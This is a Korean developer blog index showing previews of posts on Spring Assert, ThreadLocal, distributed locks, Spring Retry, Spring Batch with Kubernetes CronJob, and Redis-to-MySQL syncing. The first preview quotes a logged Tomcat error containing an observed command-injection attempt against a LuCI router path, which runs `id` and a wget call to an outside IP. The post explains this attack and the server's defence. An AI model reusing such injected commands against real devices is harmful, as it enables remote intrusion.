승팡의 개발일지

최근 토이 프로젝트에 Grafana와 Loki를 활용해 로깅 및 모니터링을 설정하던 중, 흥미로운 에러 메시지를 발견했다.이 에러는 단순히 유효하지 않은 문자 때문에 발생한 것처럼 보이지만, 자세히 살펴보면 원격 코드 실행(RCE) 공격 시도로 인해 발생한 것을 알 수 있다.이번 글에서는 이 에러의 원인과 톰캣이 이를 어떻게 방어하는지에 대해 살펴보자.프로젝트에서 발견한 에러java.lang.IllegalArgumentException: Invalid character found in the request target[/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.1..

공부/DevOps 2024. 6. 9. 20:06

Spring Framework Assert 클래스는 Java 애플리케이션에서 사용되는 유틸리티 클래스다.주로 메서드의 인수 유효성 검사와 같은 방어적 프로그래밍 기법을 지원한다.이 클래스는 다양한 정적 메서드를 제공하여 특정 조건이 만족되지 않을 경우 예외를 던지도록 한다.이러한 방법은 코드의 견고성을 높이고, 문제를 조기에 발견하여 디버깅을 용이하게 한다.public User(String username, VehicleIdentificationNumber vin) { Assert.hasLength(username, "Username must not be empty"); Assert.notNull(vin, "VIN must not be null"); this.username = usern..

공부/Spring 2024. 6. 5. 02:00

스프링 공식문서를 보다가 ThreadLocal에 주의사항에 대한 글을 봤다. ThreadLocal instances come with serious issues (potentially resulting in memory leaks) when incorrectly using them in multi-threaded and multi-classloader environments. You should always consider wrapping a ThreadLocal in some other class and never directly use the ThreadLocal itself (except in the wrapper class).Also, you should always remember to corr..

공부/Spring 2024. 5. 24. 23:32

이전 글에서 spring retry로 간단한 동시성을 해결했지만 완벽한 해결방법이 아니다.단일 서버가 아닌 다중 서버 환경에서는 동일한 데이터에 동시에 접근할 때 발생하는 동시성 문제는 낙관적 락과 spring retry로 해결하기에는 무리다.그래서 이번에는 분산락을 통한 동시성 해결을 확인해보자왜 분산락이 필요한가?낙관적 락 + 재시도(Spring retry)의 한계이전 글에서 낙관적 락과 Spring retry를 통해 DB 레벨에서 충돌 시 예외를 던지고 자동으로 재시도하는 방식을 시도했다.단일 서버에서는 일정 수준 동시성 충돌을 방어할 수 있지만 서버가 2대 이상으로 스케일 아웃되거나 트래픽이 폭주할 경우DB 예외가 계속 발생 -> 각 서버에서 재시도 반복 -> DB/애플리케이션 모두 과부하가 걸릴..

공부/Spring 2024. 5. 16. 19:15

현재 쿠버네티스의 CronJob을 활용하여 스프링 배치 job들을 실행하고 있었다.spring: main: web-application-type: none batch: job: name: ${job.name:NONE}위에 설정을 보면spring.main.web-application-type: none: 설정을 사용하면 Spring Boot 애플리케이션이 웹 서버를 시작하지 않고, 커맨드라인 애플리케이션으로 동작한다.이렇게 설정할 경우 배치 작업이 완료된 이후에 애플리케이션이 자동으로 종료된다.하지만 스프링 배치에서 파티셔닝을 적용한 이후에 CronJob이 정상적으로 동작하지 않았다.원래는 CronJob이 돌고 해당 스프링 배치 job이 완료되었으면 Succeeded 상태가 되어야 ..

프로젝트/click-me 2024. 5. 3. 19:28

Spring retry란?Spring Retry는 Spring 프레임워크의 일부로, 재시도 패턴을 쉽게 구현할 수 있게 해주는 라이브러리다.재시도 패턴은 일시적인 문제로 인해 실패한 작업을 자동으로 다시 시도함으로써, 애플리케이션의 안정성과 가용성을 향상시키는 데 유용하다.메시지 좋아요 기능에 낙관적 락과 Spring retry 적용해보기dependencies { ... implementation 'org.springframework.retry:spring-retry' implementation 'org.springframework:spring-aspects' ...}위와 같이 spring-retry 에 대한 dependency를 추가해준다. 그리고 Spring AOP를 추가해줘야 ..

공부/Spring 2024. 4. 11. 23:22

이전 글의 내용과 연결되는 글이라서 이전 글을 보지 않았다면 이 글을 참고하길 바란다. 3. Spring Batch + 멱등성 있게 처리하기 2번을 적용한 이유 속도가 빨라져서 만족하고 있었지만 업데이트되지 않는 사용자도 계속 업데이트하는 것은 비효율적이라고 생각했다. 그러는 도중에 일주일 동안 클릭 카운트의 히스토리도 적용하자는 이야기가 있었다. 그래서 아예 일일 클릭 카운트를 저장해서 그 일일 카운트에 등록된 사용자만 업데이트한다면 문제가 없을 것 같았다. 기존 로직은 위의 이미지처럼 사용자가 이미지를 클릭하면 서버에서 redis에 지정된 sorted sets 자료구조에 해당 사용자의 클릭 카운트를 증가시킨다. 하지만 추가된 로직에서는 아래와 같이 이미지를 클릭할 때 다른 sorted sets에 일일..

프로젝트/click-me 2023. 12. 22. 00:42

click-me 라는 프로젝트를 만들고 있다. github readme에 들어가는 svg 이미지를 만들어주는 프로젝트이다. 해당 이미지를 클릭하면 api가 호출되고 이미지에 해당하는 nickname을 찾아 클릭 카운트를 증가시킨다. 클릭 카운트를 저장하는 곳은 일단은 redis이다. redis의 sorted sets을 활용하여 실시간 랭킹도 손쉽게 구현할 수 있다. 다만 이 저장된 데이터를 mysql에 동기화 시켜주는 작업이 문제였다. 1. @Schedule + JPA + Batch Insert 일단 처음으로 간단하게 구현한 방식은 스케줄러로 2시간마다 mysql로 업데이트 하는 방식이였다. @Service @Conditional(RedisConnectionCondition.class) public cl..

프로젝트/click-me 2023. 12. 15. 15:11